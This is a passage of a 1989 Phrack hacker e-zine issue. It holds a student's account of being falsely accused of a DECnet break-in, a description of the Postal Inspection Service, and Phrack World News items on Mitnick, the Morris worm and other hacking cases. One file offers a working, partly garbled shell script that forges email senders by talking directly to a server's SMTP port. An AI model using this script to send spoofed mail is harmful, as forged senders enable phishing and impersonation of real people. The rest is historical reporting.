I was conscious about my innocence, but how to tell it to the others? I explained, step by step, everything to my system manager. He then understood after a while, but the criminal procedure still hovered over me... so, I took quickly to my keyboard, to compose file of explanations and to send it to that angry system manager in Stuttgart (node 1084 is an institute there). But no way out: He had run out of disk quota and my explanation-mail sailed into the nirwana:

--- --- --- --- --- --- --- --- --- --- --- --- ---

\$ mail explanation

To: 1084::system

%MAIL-E, error sending to user SYSTEM at 1084

%MAIL-E-OPENOUT, error opening SYS\$SYSROOT:[SYSMGR]MAIL\$00040092594FD194.MAI; as output

-RMS-E-CRE, ACP file create failed

-SYSTEM-F-EXDISKQUOTA, disk quota exceeded

Also the attempt of a connection with the PHONE-facilty failed: In his borderless hacker-paranoia, he cut off his PHONE... and nowhere is a list with the REAL-addresses of the virtual DECnet-addresses available (to prevent hacking). Now I stood there with the brand "DANGEROUS HACKER!" and I had no chance to vindicate myself. I poured out my troubles to an acquaintance of mine, who is a sysop in the computer-center in Freiburg. He asked other sysops and managers thru the whole BELWUE-network until someone gave him a telephone number after a few days -- and that was the right one!

I phoned to this Hager and told him what I had done with his DECnet-account and also what NOT. I wanted to know which crime I had committed. He promptly cancelled all of his reproaches, but he did not excuse his defamous incriminations. I entreated him to inform my system manager in Tuebingen that I have done nothing illegal and to stop him from erasing my account. This happens already to a fellow student of mine (in this case, Hager was also guilty). He promised me that he would officially cancel his reproaches.

After over a week this doesn't happen (I'm allowed to use my account further on). In return for it, I received a new mail from Hager on another account of mine:

From: 1084::HAGER 1-JUN-1989 12:51

To: 50180::STUD\_11
Subj: System-breaking-in

On June 1st 1989 you have committed a system-breaking-in on at least one of our VAXes. We were able to register this occurrence. We would be forced to take further measure if you did not dear up the occurrence completely until June 6th.

Of course the expenses involved would be imposed on you. Hence enlightenment must be in your own interest.

We are attainable via DECnet-mail with the address 1084:: HAGER or via following address:

Institut fuer Technische Thermodynamik und Thermische Verfahrenstechnik
Dipl.-Ing. M. Hager Tel.: 0711/685-6109
Dipl.-Ing. M. Mrzyglod Tel.: 0711/685-3398
Pfaffenwaldring 9/10-1
7000 Stuttgart-80

M. Hager

M. Mrzyglod

This was the reaction of my attempt: "\$ PHONE 1084::SYSTEM". I have not answered to this mail. I AM SICK OF IT!

Framstag (FRAMSTAG@DTUPEV5A.BITNET)

With Special Thanks For Translation Assistance To Schrulli B.

Volume Three, Issue 27, File 8 of 12

```
<><><>
         Sending Fake Mail In Unix
                            <><><>
<><>
                             <><>
<>
           by Dark OverLord
                              <>
<><>
                             <><>
            May 26, 1989
<><><>
                            <><><>
<><><>
                           <><><>
```

Here is a shell script that can be use to send fakemail from any  ${\tt Unix}$  system. Have fun and stay out of trouble.

```
-Dark Overlord
        ----- Cut here -----
! /bin/sh
#Mfakemail - A shell script to send fakemail.
\#M\#\#M\#M\setminus 023et up the path.
PATH=/usr/ucb:/bin:$HOME/Bin
#M\020arse the command line
case $ in
0)echo "USAGE: user@host [ from@somewhere ] [ mailer_host ] " >& 2
exit 1
1) mailto=$1
from="person@campus"
mailerhost=localhost
;;
2) mailto=$1
from=$2
mailerhost=localhost
3) mailto=$1
from=$2
mailerhost=$3
*)echo "USAGE: user@host [ from@somewhere ] [ mailer_host" >& 2
exit 1
;;
esac
\#M\003reate a header for sendmail
cat <<E!O!F!> /tmp/cli$$
helo $mailerhost
mail from:$from<$from>
rcpt to: $mailto <$mailto>
data
From: $from
To: $mailto
Subject:
Status: RO
E!O!F!
\#M\005dit the mailer
vi /tmp/cli$$
\#M\001dd a ending for the mailer
cat <<E!O!F!>> /tmp/cli$$
quit
E!O!F!
#M\003onnect to the remote host's sendmail daemon
telnet $mailerhost smtp < /tmp/cli$$</pre>
#M\003lean up time
```

/bin/rm -f /tmp/cli\$\$

Volume Three, Issue 27, File 9 of 12

+========+

The Postal Inspection Service

(C) UNITED STATES POSTAL SERVICE (U.S. MAIL)

Brought to you by

Vendetta

May 10, 1989

+=======+

## Protecting The U.S. Mails

9.txt

The protection of the U.S. Mail and the mail system is the responsibility of the Postal Inspection Service. As the law enforcement and audit arm of the U.S. Postal Service, the Inspection Service is a highly specialized, professional organization performing investigative, law enforcement, and audit functions essential to a stable and sound postal system.

As our country's oldest federal law enforcement agency, the Inspection Service has jurisdiction in all criminal matters infringing on the integrity and security of the mail, and the safety of all postal valuables, property, and personnel.

Since the beginning of a postal system in this country, criminal and administrative problems of the Postal Service have been interwoven. By detecting and investigating crimes against the mail and postal revenue, establishing safe and efficient postal systems, protecting all postal properties, assuring that the postal system is not criminally misused to the detriment of the public, the Inspection Service plays an integral part in maintaining effective operations in the Postal Service.

The agency's activities make a vital contribution to the protection of the nation's economy. Security and enforcement functions of the Inspection Service provide assurance to American business for the safe exchange of funds and securities through the U.S. Mail, and to postal customers of the sanctity of the seal in transmitting correspondence and messages to all parts of the world. Audits ensure stability to financial operations, help control costs, and promote increased efficiency in our Postal Service.

## Postal Inspectors

Postal Inspectors are the fact finding and investigative agents of the U.S. Postal Service. Today nearly two-thirds of their time is spent in investigating and solving postal related crimes. Possessing statutory power of arrest, they apprehend violators of the law and work closely with U.S. Attorneys in prosecuting cases in court. Their work also includes crime prevention, the audit of postal operations, investigation of accidents and a wide variety of other service and audit matters.

The work of a Postal Inspector requires total dedication and a willingness to work long hours. Investigations of postal crimes which often entail interstate or international coordination, and the responsibility to restore mail service following catastrophes such as floods, fire, and airplane wrecks, are time-consuming and can be hazardous.

There are approximately 1,900 Postal Inspectors stationed in the United States and Puerto Rico. All trainees undergo an eleven-week basic training course involving use of firearms, defensive tactics, legal matters, search and seizure, arrest techniques, court procedures, postal operations, audit

functions, and a detailed study of the federal laws in which the Inspection Service has jurisdiction. Classes are conducted at the Inspection Service training center in Potomac, Maryland.

Refresher courses keep Inspectors informed of current court decisions, laws, and legal procedures. Additional specialized courses are continually held to equip the Service with expertly trained personnel.

All applicants for the position of Postal Inspector must successfully complete the following steps; entry examination; a comprehensive background investigation including ma medical examination; the candidate assessment center review; and all phases of the basic training course.

## Inspection Service Activity

Criminal investigations and postal crime prevention represent the greatest portion of Inspection Service activity.

Postal Inspectors investigate violations of all postal laws and other related criminal violations. Crimes within the purview of postal investigations include mail fraud, the illegal transmission of controlled substances through the U.S. Mail, the mailing of child pornography, thefts of mails or postal valuables, assaults on postal employees, bombs sent through the mails or directed against postal properties, and the mailing of matter containing poison, unauthorized concealable firearms, and harmful or prohibited articles.

Five crime laboratories located throughout the country assist Inspectors in analyzing evidentiary material needed for identifying and tracing criminal suspects and in providing expert testimony for cases brought to trial.

The objectives of postal crime prevention are to anticipate, identify, and analyze those areas of greatest crime risk potentially affecting employees, funds, property, and postal customers. Postal Inspectors then take action to remove or reduce that risk and maintain the integrity of the Postal Service.

"The Postal Inspection Service is responsible for the internal audit of the Postal Service."

Postal Inspectors provide management with independent audits and investigations of all postal activities as a part of the Postal Service's internal control system.

Audits of installations and systems protect the assets of the Service, improve its financial management system, assist in the resolution of customer complaints, investigate matters of Congressional interests, and identify specific improvements for better customer service and more economical operations.

Financial audits provide an independent check on the adequacy and effectiveness of control systems; verify the existence of assets and ensure the proper safeguards are maintained. Operations audits are conducted to assist postal management in the operation of an efficient, and reliable Postal Service.

## Security Force

Postal Police Officers provide protection to mail, postal valuables, postal employees, facilities, and vehicles of the Postal Service. As part of the law enforcement team, they assist Postal Inspectors in the enforcement of certain postal laws and regulations on postal premises and provide mobile response unites in emergency situations involving the Postal Service.

Equipped with portable radios and alerted by closed circuit television they provide perimeter security to major postal facilities and other buildings operated by the Postal Service. Their presence in postal installations throughout the country is a deterrent to postal crimes and an aid to employee morale.

Postal Police Officers also are used to escort high value mail while in transit

between postal units and at airports.

Experience in military or civil law enforcement, industrial security, or similar occupations is an asset for positions in the Security Force. All appointees undergo a four-week training course conducted at the Inspection Service's training center.

## Coordination With Other Agencies

The Inspection Service extends full cooperation to all local and federal investigative and prosecutive authorities in law enforcement matters to ensure greater protection to the public. Postal Inspectors participate in the Department of Justice national strike force teams aimed at curtailing widespread criminal acts of an organized nature. Postal Inspectors also work closely with the External Auditors in providing support to the certification of the Postal Service's financial statements.

### Conviction Rate

The Inspection Service maintains a consistently high conviction rate each year of approximately 98% of cases brought to trial, a rate not exceeded by any other federal law enforcement agency.

### Jurisdiction, Postal Laws, and Protection

The Inspection Service exercises investigative jurisdiction over approximately 85 postal-related statues. These can be grouped in two categories: Criminal acts against the mails, postal facilities, or postal personnel; and criminal misuse of the postal system.

### MAIL FRAUD

All criminal activity involving use of the U.S. Mail with intent to defraud comes under the jurisdiction of the Postal Inspection Service. The Mail Fraud Law is the oldest consumer protection law in the United States and is one of the most effective prosecutive tool in fighting white collar and organized crime. Millions of dollars are lost each year through mail fraud which cheats not only the poor and the elderly, but businessmen and the consumer as well. Prevalent schemes include insurance, banking, false billings; land and advance-fee selling swindles; franchise schemes; work-at-home and fraudulent diploma schemes; charity schemes; promotions of fake health cures, beauty devices, fast-working diets, and sex stimulants; chain letters, lotteries, and solicitations for the sale of advertising specialty items.

While Postal Inspectors have no statutory authority to act as intermediaries in the settlement of unsatisfactory financial or property transactions conducted through the mails, their investigations frequently result in the discontinuance of fraudulent or borderline operations. Administrative mail-stop orders may be issued to prevent continuing public loss while sufficient evidence is being developed for criminal prosecutive action in the courts, or in cases where false representations, but not necessarily fraudulent intent, can be proven. The Inspection Service has a leading role in consumer protection through the implementation of educational programs designed to prevent mail fraud schemes from developing, and through its efforts to resolve complaints relating to consumer/vendor misunderstandings or poor business practices.

### ORGANIZED CRIME

Investigations by Postal Inspectors in organized crime matters most frequently relate to cases involving theft and fencing of large amounts of stamp stock and securities by organized post office burglary rings; insurance and investment frauds; and planned bankruptcies and schemes aimed at looting company assets. The Organized Crime Control Act of 1970 specifically includes violation of the Mail Fraud Statue as "racketeering activity." Postal Inspectors are assigned to the Justice Department Organized Crime Strike Forces which operate at various

points throughout the country.

### MAIL THEFT/BURGLARY/ROBBERY

Investigation of mail theft offenses are a large part of the Inspection Service's responsibilities and most commonly involve stolen checks, food coupons, or other negotiable securities. Primary attention is directed at major gangs, sophisticated fencing operations, large scale thefts, and the implementation of preventive programs.

Burglaries of post offices range from vandalism to high level burglary rings and fencing operations involving organized crime activity.

Armed robberies endanger the lives of postal employees and the public and, therefore, are priority investigations. The targets of these crimes usually are postal facilities, vehicles transporting mail, and individual employees, primarily letter carriers.

### **DRUGS**

Illegal trafficking in drugs, narcotics, and other controlled substances through the mail is investigated in conjunction with other federal and state law enforcement agencies.

### PORNOGRAPHY

The Inspection Service investigates violations of the Postal Obscenity Statue enacted in 1865 which prohibits the sending of obscene materials through the U.S. Mail. This includes the investigation of child pornography offenses involving the sexual abuse of exploitation of children based on laws passed in 1977 and 1984.

### BOMBS

Investigations of incidents of threats involving bombs and incendiary devices sent through the mails or directed at postal properties or functions are within the jurisdiction of the Inspection Service.

### EXTORTION

The Inspection Service has investigative responsibility in incidents involving use of the mails to extort money or property by threat of injury to person's reputation or by accusing a person of a crime.

### OTHER PROHIBITED MAILINGS

The mailing of poisons or other harmful matter prohibited by law is investigated by Postal Inspectors.

## Assistance From The Public

In most cases, the Inspection Service must rely on the watchfulness and alertness of mail recipients to inform them of possible criminal or harmful activity involving the use of the mails. Any suspected violations of postal laws or misuse of the mails should be reported to the local Postmaster for referral to a Postal Inspector. Prompt action on the part of postal customers and Postal Inspectors is essential in the interest of crime prevention and detection.

Volume Three, Issue 27, File 10 of 12

| PWN | PWN |
|-----------------------------------------|-----|
| PWN                                     | PWN |
| PWN Phrack World News                   | PWN |
| PWN                                     | PWN |
| PWN Issue XXVII/Part 1                  | PWN |
| PWN                                     | PWN |
| PWN June 20, 1989                       | PWN |
| PWN                                     | PWN |
| PWN Created, Written, and Edited        | PWN |
| PWN by Knight Lightning                 | PWN |
| PWN                                     | PWN |
| PWN | PWN |

Welcome to Issue XXVII of Phrack World News!

This issue features articles on SouthernNet's hacker scam, the Florida probation sex incident, bulletin boards in Argentina, fax attacks, computer security, other hacking occurrences, as well as more articles and new information about Kevin David Mitnick (aka Condor), Robert Tappan Morris, Karl Koch (Hagbard Celine, one of Clifford Stoll's "Wily Hackers"), TRW and Social Security Administration, the National Crime Information (NCIC) "Super Database," and many other fun stories.

Because of our temporary exile from Bitnet, this will be the last regular issue of Phrack World News until next Fall. Next issue expect to see the full write-up on the details and fun events of SummerCon '89. It is only two days away as of this writing (it kinda begins on Thursday evening for some of us) and it looks to be the best SummerCon ever!

A very special thanks goes to Delta Master, Hatchet Molly, and The Mad Hacker who all assisted with this issue's PWN by submitting articles. Hatchet Molly will be serving as a collection agent for Phrack Inc. during the summer. Be sure to forward any news articles to him that seem relevant to PWN and he will get them to me (eventually). He can be reached on the wide area networks at;

(Hatchet Molly)

# TKOGRM2@NIU.BITNET TKOGRM2%NIU.BITNET@CUNYVM.CUNY.EDU

One other thing to mention here is a special hello to one of our government readers... Peter Edmond Yee of NASA's Ames Research Center. He had recently remarked that he "had access to Phrack!" I wonder if he thought that Phrack Inc. was top secret or hard to get? Still if he wanted it that badly, Taran King and I thought, "Why not make it easier on him and just send it to his network address?" We did :-)))

:Knight Lightning

"The Real Future Is Behind You... And It's Only The Beginning!"

Mitnick Plea Bargain Rejected By Judge As Too Lenient

April 25, 1989

Excerpts from Kim Murphy (Los Angeles Times)

"Mr. Mitnick, you have been engaging in this conduct for too long, and no one has actually punished you. This is the last time you are going to do this."

Reportedly U.S. District Judge Mariana Pfaelzer unexpectedly rejected the plea bargain of Kevin Mitnick, the hacker once called "as dangerous with a keyboard as a bank robber with a gun." Pfaelzer declared that Mitnick deserves more time behind bars.

As reported in recent issues of Phrack World News, "Mitnick pleaded guilty to one count of computer fraud and one count of possessing unauthorized long-distance telephone codes... Mitnick faces one year in prison. Under a plea agreement with the government, he must also submit to three years' supervision by probation officers after his release from prison."

On April 24, 1989 Judge Pfaelzer said, "Mr. Mitnick, you have been engaging in this conduct for too long, and no one has actually punished you. This is the last time you are going to do this." She said a confidential pre-sentence report recommended that she exceed even the 18-month maximum prison term called for under mandatory new federal sentencing guidelines. The judge's action voids Mitnick's guilty plea.

Both prosecuting and defense attorneys were surprised. Mitnick's attorney said he did not know whether his client would agree to a guilty plea carrying a longer prison term. This could make it harder to bring charges against Mitnick's alleged associates. If Mitnick is brought to trial, testimony from at least one of his associates would be required to convict him, and they would not appear as witnesses without receiving immunity from prosecution.

Computer Hacker Working On Another Plea Bargain

May 6, 1989

Excerpts from the Los Angeles Herald Examiner

Attorneys said yesterday they are negotiating a second plea bargain for computer hacker Kevin Mitnick, whose first offer to plead guilty was scuttled by a judge because it called for too little time in prison.

Mitnick, 25, of Panorama City, California offered in March to serve one year in prison and to plead guilty to computer fraud and possessing unauthorized long-distance telephone codes.

\_\_\_\_\_\_

Mitnick Update

May 10, 1989

Excerpts taken from the Los Angeles Times

When last we heard about Kevin Mitnick, the hacker once called "as dangerous with a keyboard as a bank robber with a gun," the judge, Judge Mariana Pfaelzer, had rejected a plea bargain as too lenient, saying Mitnick deserved more than the agreed one year of jail time [see above articles].

According to more recent information, Mitnick has now reached a new agreement, with no agreed-upon prison sentence. He pleaded guilty to stealing a DEC security program and illegal possession of 16 long-distance telephone codes belonging to MCI Telecommunications Corp. The two charges carry a maximum of 15 years and a \$500,000 fine. The government agreed to lift telephone restrictions placed on Mitnick since he was jailed in December, 1988.

At DEC's request, Mitnick will help the firm identify and fix holes in its security software to protect itself from other hackers. He will also cooperate in the government's probe of Leonard DiCicco, a fellow hacker. (DiCicco is the "friend" who turned Mitnick in.)

Kenneth Siani Speaks Out About Kevin Mitnick

May 23, 1989

Kevin Mitnick, the hacker "so dangerous that he can't even be allowed to use a phone." "He could ruin your life with his keyboard." "Armed with a keyboard and considered dangerous."

These are some of the things that have been said about this person. All of this media hype would be fine if it just sold newspapers. But it has done much more then just sell a few papers. It has influenced those that will ultimately decide his fate. I myself do not know the man, but I have talked to others that do. Including one of the persons that investigated Mitnick. From all I have heard about him, I think he is a slime ball! But even a slime ball should not be railroaded into a prison sentence that others of equal or greater guilt

have avoided.

I personally feel the man is just a criminal, like the guy that robs a 7/11, no better but certainly not any worse. Unfortunately he is thought of as some kind of a "SUPER HACKER." The head of Los Angeles Police Dept's Computer Crime Unit is quoted as saying, "Mitnick is several levels above what you would characterize as a computer hacker."

No disrespect intended, but a statement like this from the head of a computer crime unit indicates his ignorance on the ability of hackers and phone phreaks. Sure he did things like access and perhaps even altered Police Department criminal records, credit records at TRW Corp, and Pacific Telephone, disconnecting phones of people he didn't like etc. But what is not understood by most people outside of the hack/phreak world is that these things are VERY EASY TO DO AND ARE DONE ALL THE TIME. In the hack/phreak community such manipulation of computer and phone systems is all to easy. I see nothing special about his ability to do this. The only thing special about Kevin Mitnick is that he is not a "novice" hacker like most of the thirteen year old kids that get busted for hacking/phreaking. It has been a number of years since an "advanced" hacker has been arrested. Not since the days of the Inner Circle gang have law enforcement authorities had to deal with a hacker working at this level of ability. As a general rule, advanced hackers do not get caught because of there activity but rather it is almost always others that turn them in. It is therefore easy to understand why his abilities are perceived as being extraordinary when in fact they are not.

Because of all the media hype this case has received I'm afraid that:

- 1.) He will not be treated fairly. He will be judged as a much greater threat to society then others that have committed similar crimes.
- 2.) He will become some kind of folk hero. A Jesse James with a keyboard. This will only cause other to follow in his footsteps.

I'm not defending him or the things he has done in any sense. All I'm saying is let's be fair. Judge the man by the facts, not the headlines.

Disclaimer: The views expressed here are my own.

Kenneth Siani, Sr. Security Specialist, Information Systems Div., NYMA Inc.

If you are looking for other articles about Kevin David Mitnick aka Condor please refer to;

```
"Pacific Bell Means Business" (10/06/88) PWN XXI. . .Part 1
"Dangerous Hacker Is Captured" (No Date ) PWN XXII . .Part 1
"Ex-Computer Whiz Kid Held On New Fraud Counts" (12/16/88) PWN XXII . .Part 1
"Dangerous Keyboard Artist" (12/20/88) PWN XXII . .Part 1
"Armed With A Keyboard And Considered Dangerous" (12/28/88) PWN XXIII . .Part 1
"Dark Side Hacker Seen As Electronic Terrorist" (01/08/89) PWN XXIII . .Part 1
"Mitnick Plea Bargains" (03/16/89) PWN XXV. . .Part 1
```

## Computer Intrusion Network in Detroit

May 25, 1989

Taken from the San Jose Mercury News (Knight-Ridder News Service)

DETROIT -- Secret Service agents smashed what they described as a costly, sophisticated computer intrusion network on Wednesday, May 24, and were surprised to discover it made up largely of teen-agers.

The computer systems of more than 20 companies including the Michigan Department of Treasury, Home Box Office cable television services, [and RCA] were infiltrated, according to agents serving search warrants across the country.

Federal officials said the infiltrations by the network represented fraud of \$200,000 to \$1.5 million in appropriated goods, telephone and computer time.

Agents expected to arrest some adults when they swept down on eight people who

allegedly ran the network in several states. Instead, they found only one adult, in Chicago. The rest were teen-agers as young as 14: Two in Columbus, Ohio; two in Boston, Massachusetts; two in Sterling Heights, Michigan [The Outsider and The Untouchable]; and one in Atlanta, Georgia. Agents expected to make another arrest in Los Angeles.

Officials said at least 55 other people nationwide made use of the network's information.

In Sterling Heights, Secret Service agents pulled two eighth-grader boys, both 14, out of school and questioned them in the presence of their parents, who apparently were unaware of their activities. James Huse, special agent in charge of the U.S. Secret Service office in Detroit, said the youths admitted involvement in the scheme.

He said the eight-graders, because they are juveniles, cannot be charged under federal law and will be dealt with by local juvenile authorities.

Authorities believe the mastermind is Lynn Doucett, 35, of Chicago. She was arrested Wednesday, May 24, and is cooperating with authorities, Huse said.

Doucett, who was convicted in Canada of telecommunications fraud, supports herself and two children through her computer intrusion activities, which include using stolen or counterfeit credit cards for cash advances or money orders, according to an affidavit filed in U.S. District Court.

If convicted, she faces up to 10 years in prison and a \$250,000 fine.

Special Thanks to Jedi For Additional Information

### HR 1504 -- Beeper Abuse Prevention Act

May 22, 1989

"Pagers Don't Commit Crimes, Congressmen Do."

The fools in congress assembled are at it again. Three years in jail for selling a pager to a minor? If you didn't believe when Abbie Hoffman said that the drug hysteria was just an excuse for more control of the citizens, think again.

In USA Today was a "face-off" on the issues. According to this article, Representative Kweisi Mfume (D-Md) says the following:

"The drug business is using the  $\,$  latest technology to promote its deadly trade. One such advance, the paging device, or beeper, is now appearing in classrooms and schoolyards. I have introduced the Beeper Abuse Prevention Act to curtail the use of beepers by young people who deal drugs. It would require the Federal Communications Commission to prescribe regulations that would restrict the possession and use of paging devices by persons under age 21.

Law officers say dealers and suppliers send coded messages via beeper to youths in school. The codes translate into messages like "meet me at our regular place after class to pick up the drugs." Drug traffickers are even using 800 numbers now available with regional paging services. A supplier could actually conduct a transaction in Baltimore from Miami, for example.

My bill, H.R. 1504, would require any person selling or renting paging devices to verify the identification and age of every customer; encourage parents and businesses to take more responsibility in their children's or employees' activities; make it unlawful for a person to knowingly and willfully rent, sell or use paging devices in violation of rules prescrived by the FCC (there are provisions for stiff fines and up to three-year prison terms for adults who illegally provide beepers to youths); and require parents or businesses who allow the use of beepers to state that intention with and affidavit at the time of purchase."

He goes on to say that he recognizes that there are legitimate uses of beepers,

but we can no longer stand by and watch drugs flow into our neighborhoods. The opposite side is taken by Lynn Scarlett, from Santa Monica, CA. She asks what beepers have to do with the drug trade, and regulating their use will not put a dent it it. She also says that there is little evidence that gun control keeps guns out of the hands of gangsters, and it will take a good dose of wizardry to keep beepers away from bad guys. She finishes with:

"The logic of the Beeper Abuse Prevention Act opens the door for laws to make us sign promises that we won't, we swear, use these things for illicit acts when we buy them. De Tocqueville, that eminent observer of our nation, warned that our loss of freedom would sneak in through passage of quiet, seemingly innocuous and well-intended laws -- laws like H.R. 1504.

#### Computer Threat Research Association (UK)

March 31, 1989

For those of you interested an umbrella organization has been established in the United Kingdom to coordinate information on, and research into, all aspects of computer security. In the first instance one of the organization's primary concerns will be combatting the threat posed by computer viruses by acting as a clearing house for virus information and control software.

Below is a copy of an initial letter mailed to prospective members:

The Computer Threat Research Association

The computer threat research association, CoTra is a non-profit making organization that exists to research, analyze, publicize and find solutions for threats to the integrity and reliability of computer systems.

The issue that caused the formation of CoTra was the rise of the computer virus. This problem has since become surrounded by fear, uncertainty and doubt. To the average user, the computer virus and its implications are a worry of an unknown scale. To a few unfortunates whose systems have become victims, it is a critical issue.

The key advantage of CoTra membership will be access to advice and information. Advice will be provided through publications, an electronic conference (a closed conference for CoTra's members has been created on the Compulink CIX system) as well as other channels such as general postings direct to members when a new virus is discovered.

CoTra membership will be available on a student, full or corporate member basis. All software that is held by CoTra that enhances system reliability, such as virus detection and removal software, will be available to all members. It is intended to establish discounts with suppliers of reliability tools and services. A library of virus sources and executables and other dangerous research material will be made available to members who have a demonstrable need.

A register of consultants who have specific skills in the systems reliability field will be published by CoTra and reviews of reliability enhancing software will be produced.

Your support of CoTra will ensure that you have the earliest and most accurate information about potential threats to your computer systems.

CoTra, The Computer Threat Research Association, c/o 144 Sheerstock, Haddenham, Bucks. HP17 8EX

Strange Customs Service Clock Department

May 1, 1989

Written by Vanessa Jo Grimm (Government Computer News) (Page 6)

The U.S. attorney for Washington is reviewing an allegation that a Customs Service official violated the Computer Security Act [PL 100-235 presumably] by altering a computer's internal clock.

Treasury Department Inspector General Michael R. Hill referred the allegation to the prosecutor after an investigation into year-end spending by Custom officials at the close of Fiscal Year 1988. The allegation involves an official who may have authorized altering the date maintained by the computers that the agency uses for procurement documents, according to Maurice S. Moody, the Inspector General's audit director for Financial Management Service.

Moody recently told the House Ways and Means Subcommittee on Oversight the computers are part of the agency's Automated Commercial System. He declined to provide Government Computer News with more details.

Allegedly the computer clock was rolled back during the first three days of October of 1988 so that \$41.8 million in procurement obligations would be dated in September against fiscal year 1988 appropriations, Moody said.

An inspector general report issued in late February concluded Customs had not violated any procurement laws. The inspector general's investigation is continuing, however.

"Doesn't \$41.8 million worth of procurement on the last day of the fiscal year bother anybody?" asked Rep. Richard T. Shulze (R-Pa). The purchases did bother the inspector general, Moody said, and this concern led to getting the United State attorney attorney. "This problem is endemic in the federal government," he said. "Year-end spending is very common."

William F. Riley, Customs controller, said he knew about the rollback, but he and Deputy Commissioner Michael H. Lane refused to say who authorized the action... Subcommittee members continued to press Riley and Lane. "Is the person still at Customs?" asked subcommittee chairman J. J. Pickle (D-Texas). He is working full time and in the position he was at the time," Lane answered.

Rep. Beryl F. Anthony, Jr. (D-Ark) asked how Riley became aware of the rollback. "He (the official who authorized the rollback) told me that it was going to be done," Riley said.

Rep. Pickle suggested that a high ranking official would have to authorize such an action, but Counsel advised Lane not to reply. He did say neither he nor Commissioner von Raab had made the decision.

The balance of the article deals with the actions of Linda Gibbs, who became aware of the incident and reported it to the inspector general after being unable to stop the action. Gibbs also alleged that the action was intended to use available year-end money to cover cost overrun on a contract with Northrop Corp. She also alleged that she had been reassigned and given no new duties.

==Phrack Inc.==

Volume Three, Issue 27, File 11 of 12

| PWN PWN | PWN PWN PWN PWN PWN PWN PWN PWN PWN F   | PWN |
|---------|-----------------------------------------|-----|
| PWN     | I                                       | PWN |
| PWN     | Phrack World News                       | PWN |
| PWN     | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  | PWN |
| PWN     | Issue XXVII/Part 2                      | PWN |
| PWN     | I                                       | PWN |
| PWN     | June 20, 1989                           | PWN |
| PWN     | I                                       | PWN |
| PWN     | Created, Written, and Edited            | PWN |
| PWN     | by Knight Lightning                     | PWN |
| PWN     | I                                       | PWN |
| PWN PWN | PWN | PWN |

### Robert T. Morris Suspended From Cornell

May 25, 1989

Taken from the New York Times

Cornell University has suspended the graduate student identified by school officials as the author of "the Internet worm."

In a May 16th letter to Robert Tappan Moris, age 23, the dean of the Cornell University Graduate School said a university panel had found him guilty of violating the school's Code of Academic Integrity.

He will be suspended until the beginning of the fall semester of 1990, and then could reapply.

No criminal charges have been filed against Morris. A federal grand jury this year forwarded its recommendations to the Justice Department, which has not taken any action.

\_ \_ \_ \_ .

### Justice Department Wary in Computer Case

May 28, 1989

by Matthew Spina (Syracuse Herald-American)

"Is Washington Fearful Of Losing A Landmark Trial?"

Some computer experts theorize that the Justice Department, afraid of bungling what could become a landmark computer case, still doesn't know how to treat the Cornell student whose computer worm slithered nationwide in November, 1988.

A further concern in Washington: A trial in the case might embarrass the Department of Defense if its scientists are asked to detail how their computers were among the thousands crippled by the worm.

For several months, the decision on how to charge 23-year-old Robert T. Morris, Jr. had been before Mark Richard, a deputy assistant attorney general. Within the last few weeks, Richard made a decision that now is being reviewed by an assistant attorney general, according to a computer professional who has been talking with the Justice Department.

"I thought we would have heard something from Washington by now," said Andrew Baxtoer, the assistant U.S. attorney who in November and December presented the case to a grand jury in Syracuse.

The grand jury's report was sent on the the Justice Department, which refuses to comment publicly on the matter because Morris has not been indicted.

"Within the next two weeks I assume that a decision will be made," said one official.

"If they decide to begin an expensive trial, they have to make sure they win so as not to damage future attempts to prosecute under that law," said Eugene H. Spafford, an assistant professor at Purdue University whose analysis of the

worm has helped federal investigators. "If they decide not to prosecute, and the total thing that happens is he gets suspended (from Cornell), I will be outraged."

So far, Cornell has taken the only disciplinary measure against Morris, suspending him for the 1989-90 academic year. But the graduate student left the computer science department early in November, the day after the worm spread out of a computer in Upson Hall.

Morris, a computer science graduate student, has been called the author of a rogue computer program, called a worm, that was spread from a Cornell University computer. The program was designed to reproduce and infect any computer linked to the Internet, a network shared by colleges, research centers and military institutions.

However, experts say an error caused the program to replicate out of control, sending thousands of copies into thousands of computers.

If Morris is to be charged with a felony, prosecutors would then have to show he intended to destroy or extract information.

Proving that would be difficult since the program neither destroyed nor removed information from any computer.

To convict Morris on most lesser charges, prosecutors would have to show he intended to harm computers.

Prosecutors also could use a misdemeanor charge requiring them to prove only that Morris gained access to a federal government computer. The worm did reach computers at the Army Ballistics Research Laboratory and NASA's Langley Research Center, among others.

Some computer experts wonder, though, if Defense Department officials will be reluctant to testify publicly about how their computers were penetrated — even those computers holding non-classified information. In February, at a computer convention in San Diego, Defense Department computer experts detailed some security improvements made to the network since November, but then refused to release copies of their presentation to people at the seminar.

The FBI -- which enforces the Computer Fraud and Abuse Act of 1986 -- and some people in the computer industry are pushing for a vigorous prosecution to display a strong case against computer hacking. Others in the industry, including some of Morris' friends from Harvard University and Cornell, urge leniency because he was trying to demonstrate security flaws with computers.

Other articles about Robert Tappan Morris, Jr. and the Internet Worm are;

```
"Computer Network Disrupted By 'Virus'"
                                                           (11/03/88) PWN XXII/Part 2
"Virus Attack"
                                                           (11/06/88) PWN XXII/Part 2
"The Computer Jam: How It Came About"
                                                           (11/08/88) PWN XXII/Part 2
                                                          (11/11/88) PWN XXII/Part 2 *
"US Is Moving To Restrict {...} Virus"
"FBI Studies Possible Charges In Virus"
                                                          (11/12/88) PWN XXII/Part 2
"Big Guns Take Aim At Virus"
                                                          (11/21/88) PWN XXII/Part 3
"Congressman Plan Hearings On Virus"
                                                          (11/27/88) PWN XXII/Part 3
"Pentagon Severs Military {...} Virus"
                                                          (11/30/88) PWN XXII/Part 3 *
"Networks Of Computers At Risk From Invaders" (12/03/88) PWN XXII/Part 4 *
"Computer Virus Fradication Act of 1988" (12/05/88) PWN XXII/Part 4 *
"Computer Virus Eradication Act of 1988"
                                                          (12/05/88) PWN XXII/Part 4 *
"Breaking Into Computers {...}, Pure and Simple" (12/04/88) PWN XXIV/Part 1 *
"Cornell Panel Concludes Morris {...} Virus" (04/06/89) PWN XXVI/Part 1
```

\* - Indicates that the article was not directly related to Robert Morris, but did discuss him as well as the Internet Worm incident.

SouthernNet's Anti-Hacker Psychological Con Game

April 1989

WARNING! Your call is being intercepted!

Welcome to: SouthernNet Inc.

You have reached the SouthernNet Fraud Department, the authorization code you are attempting to use is not valid. Hacking and illegal use of codes are violations of state and federal laws.

We are currently conducting an investigation for code abuse in your area and we are coordinating the investigation with law enforcement authorities. Persons identified hacking or abusing codes will be prosecuted to the full extent of the law.

I'll see you soon,

Hacker Tracker

\_\_\_\_\_\_
